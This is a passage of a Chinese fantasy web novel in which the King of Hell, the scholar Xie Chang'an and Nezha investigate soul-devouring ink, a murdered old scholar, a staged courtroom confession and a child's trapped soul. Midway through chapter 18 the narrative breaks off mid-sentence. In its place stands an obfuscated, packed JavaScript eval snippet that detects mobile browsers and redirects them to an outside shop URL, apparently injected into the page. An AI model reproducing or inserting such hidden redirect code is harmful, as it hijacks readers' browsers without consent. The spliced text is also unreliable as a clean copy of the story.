藏书阁内,书架林立,纸墨沉香。谢长安沉浸在浩瀚书海之中,一本本仔细翻阅,不放过任何可能与古阵、邪术、墨锭相关的记载。时间悄然流逝,日光透过窗棂,在地上投下移动的光斑。 终于,在一个极其偏僻、落满灰尘的角落书架顶层,他发现了一本名为《玄机墨阵谱》的残破古籍。他心中一动,小心取下。书页泛黄脆弱,记载了许多与墨、阵法相关的偏门知识。当他翻到中间某一页时,动作猛地顿住——这一页,被人为地撕掉了!从残留的页脚和前后文推断,被撕去的部分,极有可能记载着一种极为阴邪的阵法。 谢长安小心地将这本残书收好,正准备离开,一股阴冷刺骨的寒风毫无征兆地从背后袭 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“不好!”阎王瞬间反应过来,脸色骤变。两道身影如同离弦之箭,撕裂空气,以最快的速度冲向藏书阁! 藏书阁内,谢长安只觉得周身被一股浓稠如实质的黑暗气息死死缠绕,那气息阴寒刺骨,带着强大的、蛮横的力量,正粗暴地撕扯他的魂魄,试图将其从肉身中剥离!剧烈的痛苦如同潮水般席卷全身,他脸色煞白如纸,额上沁出细密的冷汗,手中的《玄机墨阵谱》残本“啪”地掉落在地。 他试图调动体内那丝初醒的文曲星神力反抗,淡金色的光华自他体内溢出,但在那浓墨般的黑暗压制下,如同狂风中的残烛,摇摇欲坠。 “滚开!”阎王饱含怒意与焦急的声音如同惊雷,在门口炸响! 他与黑无常破门而入,那黑气见有人闯入,立刻分出一股,如同毒蛇般向刚进来的二人扑去。 “陛下小心!”黑无常闪身上前,佩刀瞬间出鞘,凛冽的煞气凝聚成盾,堪堪挡住这一击,随即与那分出的黑气缠斗在一起。 而谢长安头顶,一把由黑气凝聚成的、状若镰刀的勾魂索仍在疯狂拉扯着他的魂魄。阎王目光如电,瞬间锁定那团黑气的核心——不远处书架上,一枚静静躺着、正散发着阴冷气息的墨锭!他立刻闪身至书架前,手掐法诀,准备封印这邪物。 就在此时,与黑无常扭打在一起的黑气突然剧烈翻涌,瞬间凝聚成一支漆黑利箭,带着凄厉的破空声,直射阎王后心! “陛下!小心!”黑无常惊骇大吼。 那箭快得仿佛超越了时间,阎王听到警告,几乎是本能地一个瞬移闪避。他原先站立之处,那支黑箭诡异地悬停在半空,箭尖离他刚才的位置仅有毫厘之遥!而此刻,这支致命的黑箭周身,被一股纯白而温和、却蕴含着不容置疑力量的灵气紧紧包裹,动弹不得——是谢长安的文气! 只见谢长安全身笼罩在愈发炽盛的白光之中,那圣洁的光芒似乎对黑气有着天然的克制作用,使得所有黑气的动作都为之一滞,被强行牵制。然而,就在阎王准备趁机彻底收拾这团黑气时,它竟发出一声尖锐的嘶鸣,猛地爆开,挣脱了文气的束缚,化作一缕黑烟,穿透窗户,瞬间消失得无影无踪。 黑无常立刻追出,窗外却已空无一物,再无踪迹。 阎王顾不上去追,一个箭步冲到谢长安身边,扶住他摇摇欲坠的身体,掌心传来的冰凉触感让他心头一紧:“谢长安!你怎么样?” 谢长安靠在他身上,借力站稳,脸色依旧苍白,呼吸急促,但眼神却异常清亮坚定。他缓缓抬起手,掌心似乎还残留着那涤荡邪祟的文气余韵:“没……没事。力量似乎又苏醒了一点,但还是太弱了。”他试图扯出一个安抚的笑,却显得有些无力。 阎王看着他这副虚弱却强撑的模样,又气又急,一股无名火窜上心头,语气不由得冲了起来:“……跟你说了不要一个人行动!你把本君的话当耳旁风是不是?下次再敢逞强,看我不……看我不让黑无常把你锁在房里!”他语气凶巴巴,眼神里却泄露了真实的担忧,扶着对方手臂的动作更是稳而有力。 谢长安靠着他,感受到那份笨拙的关切,苍白的脸上浮现一丝真正的笑意,他微微侧头,气息还有些不稳,却低声道:“好……下次,都听你的。” 这时,两人的目光同时落在了方才黑气核心消散的地方——那里,赫然躺着一个人! 正是他们之前怀疑的、行踪诡秘的吴老儒生! 只是此刻,他双目圆睁,瞳孔涣散,面色是一种死寂的青黑,身上再无半点生机,已然气绝身亡。他的手中,还紧紧攥着半块未曾使用的、品质低劣的噬魂墨。 现场一片死寂。吴老死了?是被幕后黑手灭口?还是……他本身就是施术者,在最后关头遭到了阵法的反噬? 17. 仙器织女 青云书院客院内,气氛凝重得几乎能拧出水来。 吴老儒生的尸体被白布覆盖,静静地躺在偏房一角。他双目圆睁,瞳孔中残留着临死前的恐惧与不甘,青黑色的脸上仿佛凝结了世间所有的绝望。阎王站在一旁,玄色衣袍更衬得他面色阴沉。他先前尝试过招魂,不仅针对吴老,也针对那个在仓库外被灭口的跟踪小鬼。但结果令人失望——两者的魂魄都被一种极其霸道、充满阴寒怨毒的力量彻底打散,湮灭于天地之间,连投入轮回的资格都没有。 “是同一种手法,”阎王的声音带着一丝冰冷的寒意,“与之前在藏书阁袭击谢公子那股黑气如出一辙。干净利落,魂飞魄散。” 白无常蹲在尸体边,仔细检查着,嘴里嘟囔:“这老吴头,看着胆小怕事,没想到落得这么个下场……连魂儿都没了。他之前偷偷摸摸去那废弃仓库,到底想找什么?我第二天去搜,除了些破铜烂铁和霉味,什么也没找到,肯定被人提前清理过了。” 谢长安眉头微蹙,清俊的脸上带着思索的神情:“吴老行为虽诡异,但不似有能力布下如此大局之人。他更像是一枚被胁迫的棋子,如今成了弃子。他深夜冒险去仓库,定有所图,或许是想找到能摆脱控制、或是能救什么人的线索……” 就在众人一筹莫展之际,窗外一道红光如流星般疾射而入,“嗖”地落在房间中央的桌面上,现出哪吒叉腰而立的身影。他脸上带着风尘仆仆的得意,一双大眼睛亮晶晶的。 “喂!阎王老儿!谢状元!小爷我回来啦!还带回了重大发现!”哪吒嗓门清亮,瞬间打破了室内的沉闷。 所有人的目光都聚焦在他身上。 “快说,别卖关子。”阎王没好气地催促。 哪吒嘿嘿一笑,直接宣布:“笼罩后山那层乌龟壳子的来历,小爷我查清楚了!那玩意儿是一种特制的仙器结界,名字挺俗气,叫‘天罗织’!” “天罗织?”众人面露疑惑。 “没错!”哪吒解释道,“这东西不是天生的法宝,是天庭织造司的织女用一种产自天河彼岸、极为稀有的‘隐星纱’为线,耗损自身仙力,亲手织出来的。这网子能隔绝气息、隐匿形迹,厉害得很!” 他盘腿坐在桌上,给自己倒了杯水,继续说道:“小爷我去找了掌管天河时序的风伯喝酒……咳咳,是询问。风伯那老家伙透露,曾见织女私下会见过一个带着凡间气息的仙魂,根据他的描述,那模样跟陈景行山长有七八分相似。后来,我又去了巡查司翻看仙器材料出入记录,发现这‘隐星纱’调用频繁且异常,看来这织女花费了不少神力,编织了不少仙网。如果其他地方类似的阵法也用了这玩意儿,那就能解释为什么它们能隐藏得如此完美了!” “可这织女和陈景行是怎么认识的?他俩什么关系?”白无常忍不住追问。 哪吒又道:“所以小爷我顺藤摸瓜,又去找了织女身边的仙童,用几颗火枣就套出了话。原来那陈景行被贬下凡前,曾在文渊阁任职,与当时常去送呈云锦样本的织女有过一段……呃,朦胧的情愫。陈景行这伪君子,定是利用了这份旧情,花言巧语骗取了仙网!” 几乎是哪吒话音刚落,阎王怀中那部幽冥通识宝鉴就疯狂震动起来,幽蓝光芒闪烁不定。阎王皱眉掏出,刚点开“忘川一家人(500)”的群聊界面,就被爆炸式的刷屏淹没了。 【白无常(分身也在群里活跃):什么?!织女?!是那个跟牛郎一年见一次面的织女?!】 【牛头:卧槽!惊天大瓜!她给牛郎戴绿帽子了?还帮凡人反派布结界?】 【马面:@牛头还愣着干什么!快!快去通知牛郎!兄弟这不能忍啊!】 【孟婆:等等!那织女不是被王母娘娘看着吗?怎么偷跑出来的?难道鹊桥会只是个幌子?】 【某鬼差甲:贵圈真乱!求直播后续!】 【某鬼差乙:@白无常白爷!前线记者呢?快爆料啊!】 【日游神:我就说最近星象不对,原来是有仙女思凡……】 【夜游神:+1,怪不得最近夜里怨气这么重,怕是牛郎的怨念……】 群里的消息以肉眼难跟的速度刷新,各种猜测、惊呼、@满天飞,充分展现了地府基层公务员们充沛的八卦热情和吃瓜能力。 眼看这离谱的谣言就要以幽冥界特有的速度传遍三界…… 一道祥和的、带着淡淡桃花香气的仙光突然在群聊界面中闪过,一个顶着“月下老人”ID,头像是一根精致缠绕的红线的存在,顶着【特邀顾问】的头衔发言了。 月下老人:“肃静!肃静!尔等休得胡言乱语,败坏仙家清誉!” 月老的出现让刷屏瞬间停滞了一秒,随即是更多的问号。 【白无常:月老?您老怎么也在我们地府内部群里?】 【牛头:对啊!这是地府内部瓜田,您是天庭姻缘部的吧?走错门了?】 月下老人:“(一个拂尘敲头的表情)荒谬!老夫身为三界姻缘总管,与尔等地府乃是重要战略合作伙伴关系!这‘忘川一家人’群,乃是当年老夫与你们崔判官共同倡议组建的,旨在加强阴阳两界情感交流,优化轮回转世中的姻缘匹配效率,避免再出现诸如‘十世怨侣堵奈何桥’、‘痴男怨女不肯喝汤’等影响KPI的恶性事件!老夫乃创始元老兼特邀顾问,尔等小辈岂会得知!” (群里潜水的崔判官默默发了个【点头.jpg】的表情,证实了月老的说法。) 月下老人继续道:“更何况,尔等如今讨论的,正是牵涉仙凡恋情的重大舆情,老夫岂能坐视不管?此‘织女’非彼‘织女’!牛郎之妻,乃是牵牛星官,司职天河星轨,位属北斗一部,与织造司并无干系!尔等所言那位,是织造司首席,‘云织仙子’!只因职务俗称撞名了!莫要胡乱编排,若是传扬出去,惹得牛郎星官与牵牛星官不快,影响了天庭和谐,你等地府的年终考评,小心老夫在联合评审会上给你们统统打个‘丙下’!” 月老这番带着官方背景的辟谣和熟悉的KPI威胁,总算彻底压制住了群里的骚动。一串串“原来如此”、“月老威武”、“差点误会了”的回复刷过,八卦之火被迅速扑灭,只剩下对年终考评的担忧。 白无常看着宝鉴,嘴角抽搐,想笑又觉得不合时宜。黑无常默默别开了脸。谢长安虽不明就里,但看阎王那黑如锅底的脸色,也猜到了大概。 阎王额角青筋直跳,对着宝鉴低吼:“都给本君闭嘴!” 这时,门口传来轻轻的敲门声。一名小厮装扮的人躬身进来,手里捧着一个油布包,恭恭敬敬地递给谢长安:“大人,我等按照您的吩咐,在吴老儒生年轻时曾借住苦读的山神庙神像底座下,找到了这个。” 谢长安接过那沉甸甸的油布包,挥手让小厮退下。 阎王看着油布包,疑惑地看向谢长安:“这是……?” 谢长安颔首解释道:“我借修撰地方志为由,调阅了前朝科举名录,查得吴老儒生本名吴文渊。后又托人查了他 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然而好景不长,女儿女婿在一次时疫中双双罹难,只留下年仅三岁的囡囡与他相依为命。囡囡成了他活在世上唯一的寄托。他带着孙女来到青云书院,谋了份整理书卷的杂役差事,只求将孙女平安抚养成人。 笔记到此,字迹开始颤抖、凌乱,充满绝望: “……彼獠以囡囡性命相胁……命我研读邪方,炼制那阴毒墨锭……囡囡,我的囡囡,被他们抓走了,我若不从,便让她魂飞魄散……我该死!我枉读圣贤书!竟行此助纣为虐之事!然囡囡何辜?!我该如何是好……若有缘人得见此信,万望搭救小老儿的孙女,她被囚于阴阳罅隙之中……” “阴阳罅隙……”阎王喃喃重复,总觉得这名字耳熟。他立刻通过幽冥通识联系首席判官崔珏,命其紧急调阅吴老儒生的生死簿附件及其亲属记录。 很快,崔珏传回信息:吴老确有一孙女,名叫吴囡囡,年方六岁,命格显示“阳寿未尽,然魂魄离体,下落不明,状态:囚禁”。 “囚禁……阴阳罅隙……”阎王猛地愣住,“我想起来了!是那道裂缝!数百年前,阴阳秩序小规模动荡时,在幽冥与人间交界处产生的一道细小罅隙。当时我正忙于处理一场恶鬼暴动,便将修补之事暂且搁置,后来……后来竟彻底忘了核查!” 一股强烈的懊悔与自责如毒藤般缠绕上阎王的心脏。他身居阎罗之位,掌众生轮回,却因自身疏忽,酿成此等悲剧。吴文渊一生坎坷,所求不过儿孙平安,最终却落得祖孙分离,自己魂飞魄散,而那年仅六岁的孙女,魂魄竟被困在那阴冷荒芜、随时可能被空间乱流撕裂的罅隙之中? “立刻派人!”阎王的声音带着一丝不易察觉的沙哑,命令却斩钉截铁,“找到那道罅隙!把吴囡囡的魂魄带回来!立刻!” “是!”黑无常领命,身影瞬间模糊,化作阴风而去。白无常也收起一贯的嬉笑,通过宝鉴紧急协调附近区域的鬼差协助搜寻。 哪吒握紧拳头,小脸上满是愤慨:“这群混蛋!连小孩子都不放过!” 谢长安轻轻拿起那绺枯黄的头发,眼中充满怜悯:“‘老吾老以及人之老,幼吾幼以及人之幼’。此等行径,天理难容。只是……”他话锋一转,沉吟道,“照颜公子所言,那处罅隙应非常人所能知晓。幕后之人对地府之事如此熟悉,其身份恐怕不容小觑。” 阎王闭上眼,深深吸了一口气。谢长安所言非虚——罅隙、勾魂锁、那足以拍散魂魄的邪力……吴老的悲剧如同一面镜子,照见他过去的失职,也映出潜藏的危机。他睁开眼,眸中寒芒乍现:“无论如何,这笔账,定要清算。” 18. 双线分兵,情急调令 房门被轻轻敲响。一名身着皂隶服饰的官差躬身而入,对着谢长安恭敬行礼。 “谢大人,府尹大人遣小的来知会,吴老的尸身需移送府衙勘验备案。另外,涉案学子林墨言稍后将开堂庭审,府尹大人知您在此,特邀您前往旁听,以做记录参考。” 谢长安微微颔首:“有劳,我稍后便到。” 官差退下后,房间内短暂沉默。 谢长安看向阎王,语气沉稳:“颜公子,衙门那边,我需得走一遭。林墨言是关键人物,或许能从他口中问出些线索。陈景行作为山长,想必也会到场,也许能看出蛛丝马迹。” 阎王眉头微蹙,他本能地不放心谢长安独自面对那可能包藏祸心的陈景行,但“阴阳罅隙”之事更迫在眉睫。他感应过,那地方极不稳定,多耽搁一刻,那名为囡囡的小女孩魂魄就多一分危险。 “你去衙门,多加小心。”阎王的声音依旧没什么温度,但叮嘱之意明显,“黑无常与你同去。” “不必。”谢长安摇头,目光清明,“府衙之内,众目睽睽,量他陈景行也不敢如何。倒是那‘阴阳罅隙’,凶险未知,你们人手紧缺,黑兄战力不可或缺。” “不行!”阎王断然拒绝,“刚才在藏书阁的教训还不够吗?那黑气神出鬼没,谁知道那幕后之人会不会在公堂上再耍什么阴招!你必须有人跟着!”他凤眼斜睨,“况且,某人似乎说过,‘下次,都听你的’?怎么,谢大人身为状元,金口玉言,也想学那凡间无赖,说话不作数了?” 谢长安被他这话堵得一怔,眼底深处泛起一丝无奈又宠溺的笑意。他没想到对方居然用自己情急之下为了安抚对方所说的话来堵自己。 谢长安还要开口,旁边早已按捺不住的哪吒叉着腰,豪气道:“哎呀!你们俩磨磨唧唧烦不烦!不就是去个阴阳罅隙嘛!有本太子在呢!那裂缝听着就刺激!小爷我正好活动活动筋骨!”哪吒拍着胸脯,风火轮在脚下若隐若现,激起细小火花,“我陪阎王老儿去!保证连根头发丝都少不了他的!谢状元你就放心带着小黑去听案子吧” 谢长无奈,只能答应下来,将怀中那本在藏书阁找到的《玄机墨阵谱》残卷递给黑无常,“黑兄,此物或许与噬魂墨及后山阵法有关,劳烦你带在身上,若有发现,或可对照印证。” 黑无常默默接过残卷,收入怀中,对阎王抱拳沉声道:“属下领命,必护谢大人周全。” 阎王这才脸色稍霁,挥了挥手:“行了,分头行动吧,保持联络。”他最后看了谢长安一眼,随即转身,玄色衣摆划过一个利落的弧度,当先朝外走去。白无常赶紧跟上,对着谢长安和黑无常挤眉弄眼一番,用口型说了句“放心”,也溜了出去。 衙门公堂之上,明镜高悬,气氛肃杀。衙役手持水火棍分列两旁,威严肃穆。 吴老儒生的尸体已被仵作初步验过,确认系外力导致神魂溃散而亡,死状凄惨。 惊堂木拍响,主审官厉声讯问。林墨言身着囚服,戴着手铐脚镣,被衙役押解上堂。他面色苍白如纸,嘴唇干裂,往日清高的才子形象荡然无存,只剩下被抽空力气的颓败。他低垂着头,眼神躲闪,不敢与堂上任何人对视,双手在身前死死地绞在一起,指节因用力而泛白。 “啪!”惊堂木重重拍下,主审官厉声开口:“林墨言,抬起头来!将你如何研制邪墨,谋害张昀院士之事,从实招来!” 林墨言浑身一颤,缓缓抬起头,目光游移,声音带着明显的颤抖和沙哑:“回……回大人……学生,学生认罪。”他咽了口唾沫,仿佛极为艰难地开口,“那……那噬魂墨的配方,确是……是学生偶然从一些散佚古籍中看到只言片语,之后……之后耗费心血,独自推演、修补而成。” “你为何要研制此等阴毒之物?”主审官追问。 林墨言的脸上瞬间闪过一丝扭曲的怨怼,他声音低了几分,带着哽咽:“因为……因为张院士!他处处压我一头,屡次贬低我的文章,断我前程……我恨!我不甘心!只想……只想让他消失!”他的语调从最初的怯懦,到提及张昀时陡然激动,最后又归于一种破罐破摔的绝望。 “那吴文渊在其中扮演何种角色?” 听到吴老的名字,林墨言眼神闪烁了一下,避开主审官的视线,语速加快了些许:“吴老……他贪图银钱,而且……而且他似乎一直在暗中寻找什么失踪的亲人,需要门路。学生便以重利诱之,让他……让他负责搜集部分偏门材料,并……并利用他杂役的身份,秘密炼制墨锭。”他巧妙地将吴老描绘成主动参与、各取所需的合作者,绝口不提胁迫。 “杀害张昀的具体经过!” “是……是学生趁张院士在藏书楼与人争执后心神不宁,疏于防范之际,偷偷将他常用的一块墨锭,换成了……换成了掺有噬魂墨的假货……”林墨言的声音越来越低,带着认命般的颓然,“之后……之后他便在书房批阅文书时,被……被勾走了魂魄。” “哼!”主审官冷哼一声,“那京城乃至各地,其他书生遇害案件,你又作何解释?是否也是你所为?” “不是!绝非学生所为!”林墨言猛地抬头,脸上露出急切的神色,声音也拔高了些,带着一种急于撇清的慌乱,“学生所做一切,皆因私怨,只针对张昀一人!学生一介书生,哪有那般通天本事!至于……至于吴老是否私下借用此法另害他人,或是别处案件为何与我等手段相似,学生……学生实在不知啊!”他反复强调自己能力有限,罪行单一,将所有未知的疑点都推给了已死的吴老。 陈景行山长坐在旁听席上,适时地发出一声沉重的叹息,抬手用袖角擦了擦并无可泪水的眼角,脸上写满了“痛心疾首”。 谢长安坐在一旁,执笔记录,神情专注而平和。他笔下不停,将林墨言的供词、神态、语调的细微变化一一纳入眼中,记在纸上。心中却如明镜般清晰:林墨言在演戏。他在极力将案件缩小,将自己塑造成一个因私怨偶然触碰到邪恶、并因此毁灭的悲剧角色,试图掩盖背后更庞大的阴影。 就在谢长安凝神分析林墨言供词中关于材料来源的模糊之处时,一直如同影子般静立在他侧后方的黑无常,眉头几不可查地一蹙。他感知敏锐,远超常人,此刻竟从怀中那本谢长安交由他保管的《玄机墨阵谱》残卷上,捕捉到了一丝极其微弱、却与他之前接触过的噬魂墨同源的阴冷气息! 他借着身形掩护,迅速而无声地将残卷取出,低头翻阅。锐利的目光如同最精密的探测器,很快便锁定在描绘核心阵图那一页的边缘——那里,有一小点几乎与陈旧纸色融为一体的微末黑色污渍!正是这点污渍,正散发着若有若无的噬魂墨邪气!痕迹很新! 黑无常眸光一凛,立刻上前半步,俯身靠近谢长安,将摊开的残卷无声地推至他手边,指尖精准地点在那处污渍上,用仅有两人能听到的气音疾速禀报:“大人,此书页上有新的噬魂墨残留。” 谢长安执笔的手骤然一顿! 他垂眸,目光如电,瞬间锁定那点微小的黑色污渍,看来他当日在藏书阁遭遇袭击,根本不是什么意外,而是一个精心设计的杀局!目的,就是为了夺回这本可能暴露核心秘密的残卷,或者……是为了将他这个察觉异常的新科状元一并除去!而能提前知晓他查阅动向、有能力在守卫森严的藏书阁内做下手脚、并能接触到噬魂墨的人…… 谢长安缓缓抬眸,目光不再关注堂下仍在竭力表演的林墨言,而是如同两道无形的冰锥,穿越公堂上的人群,精准无误、锐利无比地刺向了旁听席上——那位依旧面容沉痛、仿佛全身心沉浸于书院不幸之中的陈景行山长! 是他。 谢长安心中已有定论。林墨言不过是一枚被推出来顶罪、试图中断所有线索的弃子。而真正的幕后元凶,此刻正衣冠楚楚地坐在那里,自以为高枕无忧。 他不动声色地收回目光,指尖在记录簿上轻轻敲击了两下,发出微不可闻的声响。 与此同时,阎王已带着白无常和那截热情高涨的莲藕,寻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16800945|190700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了处城郊僻静林地。 “阴阳罅隙……”阎王摊开掌心,以微末神力勾勒出那处被他遗忘了数百年的空间裂缝的大致方位与形态,眉头紧锁,“那地方法则混乱,空间脆弱,本君如今这点神力,硬闯进去,救不出人不说,搞不好自己都得折在里面,还会引发塌陷。” 白无常急道:“那怎么办?” 阎王掏出了那部时刻震动、闪烁着群魔乱舞消息的幽冥通识宝鉴。他无视了“忘川一家人(500)”里刷屏的各类八卦、哭惨和KPI哀嚎,直接点开了一个名为“鬼工司技术交流群(禁水)”的界面。 群里比起八卦群安静不少,但也能看到一些动态: 【巧手鲁三:求助!新型油锅导热符文总是过载,有没有同僚能技术支持?有偿!】 【搬山鬼吏乙:隔壁组这个月业绩又超标了,卷死了!什么时候能轮休啊!】 【空间架构师·癸七:刚完成第十八层刀锯地狱扩建项目,求调休……(魂体虚脱.jpg)】 阎王指尖飞快地输入信息,语气是久违的、属于上位者的不容置疑,却又带着点显而易见的“谈条件”意味: 【阎罗王(权限临时恢复-外勤状态):@全体成员鬼工司能动弹的,擅长空间稳固、魂体牵引的,立刻到以下坐标集合!紧急任务!】 【阎罗王:任务内容:救援被困于阴阳罅隙的幼生魂魄。任务等级:甲上。】 【阎罗王:酬劳:按地府外勤功德积分条例,本次行动累积功德,可全额抵扣刑期!表现优异者,本君亲自批条子,额外奖励带薪假!】 消息发出,群里寂静了一瞬。 随即,如同冷水滴入滚油,瞬间炸锅! 【巧手鲁三:卧槽!陛下!活的陛下!】 【搬山鬼吏乙:抵扣刑期?!带薪假?!我去我去!算我一个!】 【空间架构师·癸七:(垂死病中惊坐起)坐标收到!立刻就到!陛下等我!】 【锁魂链维护员戊九:+1!带我的新家伙事儿去!保证稳当!】 【一众潜水鬼工:(疯狂冒泡)报名!报名!】 几乎是片刻功夫,阎王面前的空地上,阴风阵阵,空间涟漪晃动,一道道形态各异、但周身都散发着精纯鬼气与专业技术气息的身影迅速凝聚。 有手持各种奇特长尺、圆规,身上挂满符文卷轴的“空间架构师”;有背着巨大工具箱,眼神专注的“法器维护员”;有肌肉虬结,专门负责“搬山卸岭”稳固基座的“力士”;甚至还有几个拿着类似罗盘、魂幡等牵引魂体仪器的“招魂技术工”……林林总总,竟来了二三十号鬼工司精锐,一个个眼冒绿光,摩拳擦掌,看着阎王如同看着能让他们提前刑满释放、甚至带薪休假的超级金主。 “参见阎君陛下!”众鬼工齐声行礼,声音带着压抑不住的兴奋。 阎王看着这效率,满意地点点头,言简意赅:“目标,阴阳罅隙,救援一个六岁女童的生魂。空间脆弱,动作要快、要稳!出发!” “是!”众鬼工轰然应诺,立刻各就各位。架构师们开始测算坐标,勾勒临时通道;力士们搬运来特制的“定空石”开始布设基座;维护员们检查着各种牵引和保护法器……专业团队,效率惊人。 哪吒从莲藕里蹦出来,看着这热火朝天的场面,啧啧称奇:“可以啊阎王老儿,指挥不动天兵天将,使唤起自家小鬼倒是一套一套的!这‘功德抵扣刑期’,跟人间工地‘干活抵债’有啥区别?” 阎王没好气地白了他一眼:“你懂什么?这叫资源优化配置,激励员工积极性!总比你天天闲着打架惹事强!” “嘿!我那是替天行道!” “是是是,赶紧的,前面开路!你的战力不是吹出来的吧?” “瞧好吧您呐!” 红光一闪,哪吒率先冲向已初步构建完成的临时通道。阎王与白无常紧随其后,身后是浩浩荡荡、专业素养过硬的鬼工司特遣队。救援行动,即刻展开! 19. 罅隙救孤魂,阎君燃心光 “阴阳罅隙”之名,听来寻常,仿佛只是阴阳两界交界处一道不起眼的褶皱。然而,当阎王率领的临时救援小队真正抵达其边缘时,饶是见多识广的鬼工司精锐们,也不由得倒吸一口凉气。 眼前并非想象中的漆黑裂缝,而是一片光怪陆离、色彩混沌的扭曲地带。空间在这里失去了常理,破碎的山石悬浮倒置,浑浊的忘川水支流如同失去引力的银色飘带,在空中蜿蜒流淌,又骤然化作暴雨倾泻。时而可见破碎的记忆片段如同走马灯般闪烁而过——某个书生临死前的惊愕,某个女子无声的哭泣——这些都是曾被卷入此地、最终湮灭的魂魄留下的最后印记。法则混乱,时而重力倍增,压得鬼体咯吱作响,时而又轻若无物,仿佛下一刻就要被无形的乱流卷走,抛入永恒的虚无。 “好家伙,”哪吒从莲藕形态化回人形,脚踩风火轮,混天绫无风自动,将他周身护得严实,他咂咂嘴,“这地方比小爷我在东海龙宫拆家时见过的破洞还离谱!阎王老儿,你这物业维修不到位啊!” 阎王没理会他的吐槽,他玄衣墨发,立于这片混乱之前,凤眸沉静,周身那点微弱的神力在此刻却如同定海神针。“废话少说。鬼工司,动手!”他声音不高,却带着不容置疑的威严。 “得令!”为首的鬼工司架构师癸七精神抖擞,这可是抵扣刑期和带薪假的宝贵机会!他与其他几名同僚迅速行动,手中奇特长尺圆规挥舞,一道道闪烁着幽光的符文被打入虚空,如同织网的蜘蛛,开始艰难地梳理、稳固这片狂暴的空间。力士们吼叫着扛来特制的“定空石”,轰然嵌入关键节点,搬山鬼吏则合力拉扯着几近崩断的空间脉络。 “魂桥,起!”癸七大喝一声。 一道由纯粹幽冥之力构筑、闪烁着不稳定幽光的简易桥梁,颤巍巍地向前延伸,刺入罅隙深处。桥梁在乱流中剧烈摇晃,仿佛随时都会碎裂。 “走!”阎王当先踏了上去,步伐稳定。白无常紧随其后,手中勾魂索蓄势待发,为他警惕着四周。哪吒则像个红色的精灵,在桥梁上下翻飞,火尖枪点出,将那些特别狂暴的能量乱流一一击散,嘴里还不忘念叨:“稳点稳点!桥塌了工钱找谁结去?” 白无常一边小心躲避着一道色彩斑斓、却散发着腐蚀气息的流光,一边对着前方阎王的背影感叹:“陛下这业务能力,真是宝刀未老!回头我得在《日记》里好好写写这一章,名字就叫《论落魄阎君如何凭借过硬技术素养带领团队绝境求生》……” 阎王头也没回,淡淡扔过来一句:“再废话,就把你留在这里写《白无常罅隙漂流记》。” 白无常立刻噤声,做了个给嘴巴上拉链的动作。 寻找囡囡的过程异常艰辛。罅隙之内方位感全无,只能凭借阎王对生魂气息的微弱感应,以及吴老信中那绺头发上残留的血脉联系进行指引。沿途,他们不仅要应对无处不在的空间乱流,还要小心那些残留的怨念陷阱——它们如同无形的沼泽,一旦陷入,便会勾起内心最深的恐惧与负面情绪。 “左边三步,有空间褶皱,绕行!” “前方怨念残留,强度中等,凝神守一,快速通过!” “停!右侧能量不稳定,等三息!” 阎王的声音清晰而冷静地在每个人脑海中响起。他神力虽弱,但身为幽冥之主的“位格”和对天地法则,尤其是幽冥法则的深刻理解,让他成了此刻最精准的导航仪和指挥官。他总能提前预判到最危险的区域,指出最安全的路径,偶尔动用那微弱的言灵之力,在千钧一发之际扭转局部的法则,为队伍开辟生路。 他不再是被谢府舒适床褥“腐蚀”的懒散公子,也不再是那个会因为谢长安靠近而耳根泛红的别扭阎君。此刻的他,凤眸锐利,指挥若定,展现出的是历经万载、执掌轮回的“技术型领导”风采,令人心折。 随着不断深入,阎王的脸色也越来越凝重。他能感觉到,囡囡的魂魄如同风中残烛,越来越微弱。 终于,在穿越一片如同破碎镜面般的区域后,他们看到了那个小小的身影。 一个穿着破旧小花袄、约莫六岁模样的小女孩魂魄,蜷缩在一块相对稳定的悬浮巨石上,身体已经变得半透明,双眼紧闭,瑟瑟发抖,仿佛随时都会消散。她周围,缠绕着几道特别浓稠的怨念黑气,如同毒蛇般窥伺着。 “囡囡!”白无常忍不住低呼。 “小心,最后的防护。”阎王提醒,声音带着一丝不易察觉的疲惫。连续的精准指挥和微操,对他本就所剩无几的神力消耗巨大。 哪吒二话不说,火尖枪一抖,炽热的火焰化作长龙,扑向那些怨念黑气,将它们逼退。白无常的勾魂索也如灵蛇出洞,缠住一道试图偷袭的残余能量,将其撕碎。 障碍清除,阎王深吸一口气,快步上前,伸出手,指尖凝聚起一点极其柔和、带着安抚力量的幽冥之光,小心翼翼地探向囡囡的魂魄。 就在他的指尖即将触碰到那冰凉魂魄的瞬间—— 异变陡生! 旁边一道看似寻常的、缓缓流淌的浑浊能量流中,一道浓稠如墨、散发着刺骨阴寒与怨毒的气息猛然爆发!它并非实体,而是纯粹由噬魂墨的邪力凝聚而成,如同一条潜伏已久的毒蛇,目标明确——不是攻击任何人,而是直扑即将被救走的囡囡魂魄!意图在最后关头,将其彻底毁去! “早防着你呢!”哪吒反应最快,厉喝一声,风火轮烈焰暴涨,整个人化作一道红色闪电,后发先至!火尖枪带着灼穿空间的炽热,精准无比地刺向黑气核心。“给小爷——散!” 那黑气却诡异非常,被火尖□□中的部分竟如流水般散开,绕过枪尖,旋即再次凝聚,分化出数股,一股缠向哪吒的混天绫,一股则如毒鞭般抽向旁边的白无常,另一股最为凝练、散发着毁灭气息的,依旧执拗地袭向囡囡! “好家伙,还会分化!”白无常脸色一变,口中念诀,勾魂索瞬间由实化虚,如同无数道灵动的黑色电蛇,交织成网,试图拦住抽向自己的那股,同时对袭向囡囡的那股进行阻挠。“老黑要是在这儿就好了,他的煞气最克这玩意儿!”他百忙之中还不忘念叨一句。 “指望他不如指望小爷我!”哪吒被激起了火气,混天绫红光大方,如同有生命的巨蟒,不仅牢牢锁住缠向自己的黑气,还分出一缕,如红色飘带般协助白无常的勾魂索。同时,他空着的左手捏了个法诀,乾坤圈嗡鸣着飞出,带着破邪金光,狠狠砸向那最危险的一股黑气! “砰!” 乾坤圈与黑气撞个正着,至阳至刚的破邪金光与至阴至邪的噬魂墨力激烈碰撞,发出一声闷响,黑气被暂时阻了一阻,却并未消散,反而更加疯狂地扭动起来。 